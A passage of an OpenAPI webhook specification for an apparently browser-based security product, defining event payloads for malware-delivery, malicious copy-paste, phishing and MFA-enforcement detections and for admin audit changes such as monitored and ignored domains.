                      type: array
                      items:
                        type: string
                      description: A list of the removed domains.
                  required:
                    - domains
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  malware-delivery-detection:
    post:
      summary: Malware delivery detection
      operationId: malware-delivery-detection-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: A malware delivery detection occurred.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - DETECTION
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com triggered a new malware delivery detection
                type:
                  type: string
                  enum:
                    - CREATE
                    - UPDATE
                    - DELETE
                  description: The type of event that occurred.
                object:
                  type: string
                  description: The object that was created.
                  example: MALWARE_DELIVERY
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Malware delivery
                new:
                  $ref: '#/components/schemas/DetectionEvent'
                  description: The new state of the event details.
                old:
                  $ref: '#/components/schemas/DetectionEvent'
                  description: >-
                    The previous state of the event details. This is `null` when
                    the event type is `CREATE`.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Events
        - Detections
  malicious-copy-paste-detected:
    post:
      summary: Malicious copy and paste detected
      operationId: malicious-copy-paste-detected-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: A malicious copy and paste detected event occurred.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - CONTROL
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: >-
                    user@example.com visited https://evil.com which copied
                    malicious content onto their clipboard
                object:
                  type: string
                  enum:
                    - MALICIOUS_COPY_PASTE_DETECTED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Malicious copy and paste detected
                new:
                  $ref: '#/components/schemas/MaliciousCopyPasteDetectedEvent'
                  description: Malicious copy and paste detected event details.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Controls
        - Malware Delivery
  mfa-enforcement:
    post:
      summary: MFA enforcement event
      operationId: mfa-enforcement-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: An MFA enforcement event occurred.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - CONTROL
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: john@company.com was requested to enable MFA on GitHub
                object:
                  type: string
                  enum:
                    - MFA_ENFORCEMENT
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: MFA enforcement
                new:
                  $ref: '#/components/schemas/MfaEnforcementEvent'
                  description: MFA enforcement event details.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Controls
        - MFA Enforcement
  mfa-enforcement-apps-updated:
    post:
      deprecated: true
      summary: MFA enforcement apps updated
      description: >-
        An admin user has updated which apps the MFA enforcement control is
        enabled for.
      operationId: mfa-enforcement-apps-updated-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com updated MFA enforcement apps
                object:
                  type: string
                  enum:
                    - MFA_ENFORCEMENT_APPS_UPDATED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: MFA enforcement apps updated
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: >-
                    Information about the admin user that updated the page
                    settings.
                new:
                  type: object
                  properties:
                    apps:
                      type: array
                      items:
                        type: string
                      description: The apps that MFA enforcement is enabled on.
                      example:
                        - GITHUB
                  required:
                    - apps
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  mfa-enforcement-settings-updated:
    post:
      deprecated: true
      summary: MFA enforcement settings updated
      description: An admin user has updated the MFA enforcement control settings.
      operationId: mfa-enforcement-settings-updated-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com updated MFA enforcement settings
                object:
                  type: string
                  enum:
                    - MFA_ENFORCEMENT_SETTINGS_UPDATED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: MFA enforcement settings updated
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: >-
                    Information about the admin user that updated the page
                    settings.
                new:
                  type: object
                  properties:
                    title:
                      type: string
                      description: The title of the MFA banner shown to users.
                    subtext:
                      type: string
                      description: The subtext of the MFA banner shown to users.
                    buttonText:
                      type: string
                      description: The button text of the MFA banner shown to users.
                  required:
                    - title
                    - subtext
                    - buttonText
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  mfa-tracking-exclusions-updated:
    post:
      summary: MFA tracking exclusions updated
      description: The MFA tracking exclusions list has been updated
      operationId: mfa-tracking-exclusions-updated
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: >-
                    user@example.com has updated the apps where MFA status is
                    not tracked.
                object:
                  type: string
                  enum:
                    - MFA_TRACKING_EXCLUSIONS_UPDATED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: MFA tracking exclusions updated
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: >-
                    Information about the admin user that set the MFA tracking
                    exclusions.
                new:
                  type: object
                  properties:
                    exceptions:
                      type: array
                      items:
                        type: string
                      description: A list of the apps that will track MFA status.
                  required:
                    - exceptions
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  monitor-all-domains-toggled:
    post:
      summary: Monitor all domains toggled
      description: An admin user has toggled the "Monitor all domains" setting.
      operationId: monitor-all-domains-toggled-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example toggled monitor all domains to true
                object:
                  type: string
                  enum:
                    - MONITOR_ALL_DOMAINS_TOGGLED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Monitor all domains toggled
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that toggled the setting.
                new:
                  type: object
                  properties:
                    enabled:
                      type: boolean
                      description: >-
                        Whether the "Monitor all domains" setting is enabled or
                        not.
                  required:
                    - enabled
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  monitored-domains-added:
    post:
      summary: Monitored domains added
      description: >-
        A set of domains have been added to the list of monitored company
        domains.
      operationId: monitored-domains-added-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example added monitored domains
                object:
                  type: string
                  enum:
                    - MONITORED_DOMAINS_ADDED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Monitored domains added
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that added the domains.
                new:
                  type: object
                  properties:
                    domains:
                      type: array
                      items:
                        type: string
                      description: A list of the added domains.
                  required:
                    - domains
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  monitored-domains-removed:
    post:
      summary: Monitored domains removed
      description: >-
        A set of domains have been removed from the list of monitored company
        domains.
      operationId: monitored-domains-removed-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example removed monitored domains
                object:
                  type: string
                  enum:
                    - MONITORED_DOMAINS_REMOVED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Monitored domains removed
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that removed the domains.
                new:
                  type: object
                  properties:
                    domains:
                      type: array
                      items:
                        type: string
                      description: A list of the removed domains.
                  required:
                    - domains
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  password-protection-hide-urls-toggled:
    post:
      summary: Password protection URL masking toggled
      description: An admin user has toggled the password protection URL masking setting.
      operationId: password-protection-hide-urls-toggled-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com set url masking to true
                object:
                  type: string
                  enum:
                    - PASSWORD_PROTECTION_HIDE_URLS_TOGGLED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Password protection URL masking toggled
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that toggled the setting.
                new:
                  type: object
                  properties:
                    enabled:
                      type: boolean
                      description: Whether the URL masking setting is enabled or not.
                  required:
                    - enabled
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  password-protection-ignore-work-apps-toggled:
    post:
      summary: Password protection ignore work apps toggled
      description: >-
        An admin user has toggled the "Ignore work apps" setting of the password
        protection feature.
      operationId: password-protection-ignore-work-apps-toggled-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com enabled ignoring work apps
                object:
                  type: string
                  enum:
                    - PASSWORD_PROTECTION_IGNORE_WORK_APPS_TOGGLED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Password protection ignore work apps toggled
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that toggled the setting.
                new:
                  type: object
                  properties:
                    enabled:
                      type: boolean
                      description: >-
                        Whether the "Ignore work apps" setting is enabled or
                        not.
                  required:
                    - enabled
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  password-protection-ignored-domains-added:
    post:
      summary: Password protection ignored domains added
      description: >-
        A set of domains have been added to the list of ignored domains for the
        password protection feature.
      operationId: password-protection-ignored-domains-added-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com added ignored domains
                object:
                  type: string
                  enum:
                    - PASSWORD_PROTECTION_IGNORED_DOMAINS_ADDED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Password protection ignored domains added
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that added the domains.
                new:
                  type: object
                  properties:
                    domains:
                      type: array
                      items:
                        type: string
                      description: A list of the added domains.
                  required:
                    - domains
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  password-protection-ignored-domains-removed:
    post:
      summary: Password protection ignored domains removed
      description: >-
        A set of domains have been removed from the list of ignored domains for
        the password protection feature.
      operationId: password-protection-ignored-domains-removed-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com removed ignored domains
                object:
                  type: string
                  enum:
                    - PASSWORD_PROTECTION_IGNORED_DOMAINS_REMOVED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Password protection ignored domains removed
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that removed the domains.
                new:
                  type: object
                  properties:
                    domains:
                      type: array
                      items:
                        type: string
                      description: A list of the removed domains.
                  required:
                    - domains
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  phishing:
    post:
      deprecated: true
      summary: SSO password used
      operationId: sso-password-used-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: An SSO password used event occurred.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - CONTROL
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com ignored warning page
                object:
                  type: string
                  enum:
                    - SSO_PASSWORD_USED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: SSO password used
                new:
                  $ref: '#/components/schemas/SsoPasswordUsedEvent'
                  description: SSO password used event details.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Controls
        - SSO Password Protection
  phishing-attack-detection:
    post:
      summary: Phishing attack detection
      operationId: phishing-detection-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: A phishing attack detection occurred.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - DETECTION
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com triggered a new phishing attack detection
                type:
                  type: string
                  enum:
                    - CREATE
                    - UPDATE
                    - DELETE
                  description: The type of event that occurred.
                object:
                  type: string
                  enum:
                    - PHISHING
                    - BLOCKED_URL
                    - STOLEN_CREDENTIALS
                  description: The object that was created.
                  example: PHISHING
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Phishing attack
                new:
                  $ref: '#/components/schemas/DetectionEvent'
                  description: The new state of the event details.
                old:
                  $ref: '#/components/schemas/DetectionEvent'
                  description: >-
                    The previous state of the event details. This is `null` when
                    the event type is `CREATE`.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Events
        - Detections
  phishing-tool-detected:
    post:
      summary: Phishing tool detected
      operationId: phishing-tool-detected-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: A phishing tool detected event occurred.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - CONTROL
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com visited https://phishing.com
                object:
                  type: string
                  enum:
                    - PHISHING_TOOL_DETECTED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Phishing tool detected
                new:
                  $ref: '#/components/schemas/PhishingToolDetectedEvent'
                  description: Phishing tool detected event details.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Controls
        - Phishing Tools Detection
  phishing-tool-detection-page-updated:
    post:
      deprecated: true
      summary: Phishing tool detection page updated
      description: >-
        An admin user has updated the page settings of the Phishing tool
        detection feature.
      operationId: phishing-tool-detection-page-updated-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com updated the message to employees
                object:
                  type: string
                  enum:
                    - PHISHING_TOOL_DETECTION_PAGE_UPDATED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Phishing Tool Detection page updated
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: >-
                    Information about the admin user that updated the page
                    settings.
                new:
                  type: object
                  properties:
                    title:
                      type: string
                      description: The title of the page shown to users.
                    subtext:
                      type: string
                      description: The subtext of the page shown to users.
                    ignoreButtonText:
                      type: string
                      description: The text of the button that allows users to proceed.
                  required:
                    - title
                    - subtext
                    - ignoreButtonText
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  phishing-tool-detection-mode-updated:
    post:
      deprecated: true
      summary: Phishing tool detection mode updated
      description: >-
        An admin user has updated the mode of the Phishing tool detection
        feature.
      operationId: phishing-tool-detection-mode-updated-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com set the mode to warn
                object:
                  type: string
                  enum:
                    - PHISHING_TOOL_DETECTION_MODE_UPDATED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Phishing Tool Detection mode updated
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that updated the mode.
                new:
                  type: object
                  properties:
                    mode:
                      type: string
                      description: >-
                        The current mode for the Phishing Tool Detection
                        feature.
                  required:
                    - mode
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  phishing-tool-detection-ignored-domains-added:
    post:
      summary: Phishing tool detection ignored domains added
      description: >-
        A set of domains have been added to the list of ignored domains for the
        Phishing tool detection feature.
      operationId: phishing-tool-detection-ignored-domains-added-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com added ignored domains
                object:
                  type: string
                  enum:
                    - PHISHING_TOOL_DETECTION_IGNORED_DOMAINS_ADDED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Phishing Tool Detection ignored domains added
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that added the domains.
                new:
                  type: object
                  properties:
                    domains:
                      type: array
                      items:
                        type: string
                      description: A list of the added domains.
                  required:
                    - domains
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
